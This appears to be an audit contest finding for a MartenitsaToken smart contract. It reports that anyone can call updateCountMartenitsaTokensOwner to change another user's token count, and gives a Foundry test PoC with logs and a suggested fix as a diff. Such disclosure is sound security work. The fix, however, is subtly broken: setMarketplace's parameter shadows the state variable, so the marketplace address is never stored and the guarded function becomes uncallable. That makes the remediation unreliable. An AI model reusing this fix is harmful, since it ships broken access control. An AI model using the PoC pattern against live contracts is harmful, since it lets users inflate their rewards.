Submission Details
Severity:
Lack of access control for MartenitsaToken::updateCountMartenitsaTokensOwner
Summary
Lack of access control for updateCountMartenitsaTokensOwner()
Vulnerability Details
In MartenitsaToken, function updateCountMartenitsaTokensOwner() aims to record every address's martenitsa tokens' amount. However, everyone can call this function to update any specific address's amount.
PoC
function testUpdateAccountAccessControl() public {
address alice = makeAddr("Alice");
address cathy = makeAddr("Cathy");
console.log("Alice Token Amount: ", martenitsaToken.getCountMartenitsaTokensOwner(alice));
console.log("Cathy Token Amount: ", martenitsaToken.getCountMartenitsaTokensOwner(cathy));
vm.startPrank(alice);
martenitsaToken.updateCountMartenitsaTokensOwner(cathy, "add");
console.log("Cathy Token Amount after Alice update: ", martenitsaToken.getCountMartenitsaTokensOwner(cathy));
}
And the test result is as below:
Logs:
Alice Token Amount: 0
Cathy Token Amount: 0
Cathy Token Amount after Alice update: 1
From the result, we can see that Alice can change another user Cahty's account easily.
Impact
Accounting for Martenitsa token's amount become a mess. Users can change the count to collect more rewards.
Tools Used
Manual
Recommendations
Suggest to add one modifier in updateCountMartenitsaTokensOwner. Only marketplace is allowed to call this function.
diff --git a/src/MartenitsaToken.sol b/src/MartenitsaToken.sol
index 040ce8a..e2c9930 100644
--- a/src/MartenitsaToken.sol
+++ b/src/MartenitsaToken.sol
import "@openzeppelin/contracts/access/Ownable.sol";
contract MartenitsaToken is ERC721, Ownable {
uint256 private _nextTokenId;
+ address public marketplace;
address[] public producers;
mapping(address => uint256) public countMartenitsaTokensOwner;
contract MartenitsaToken is ERC721, Ownable {
constructor() ERC721("MartenitsaToken", "MT") Ownable(msg.sender) {}
+ modifier onlyMarketplace {
+ require(msg.sender == marketplace);
+ _;
+ }
+
+ function setMarketplace(address marketplace) public onlyOwner {
+ marketplace = marketplace;
+ }
/**
* @notice Function to set producers.
* @param _producersList The addresses of the producers.
contract MartenitsaToken is ERC721, Ownable {
* @param owner The address of the owner.
* @param operation Operation for update: "add" for +1 and "sub" for -1.
*/
- function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
+ function updateCountMartenitsaTokensOwner(address owner, string memory operation) external onlyMarketplace{
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
Rewards breakdown
nSLOC
239This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.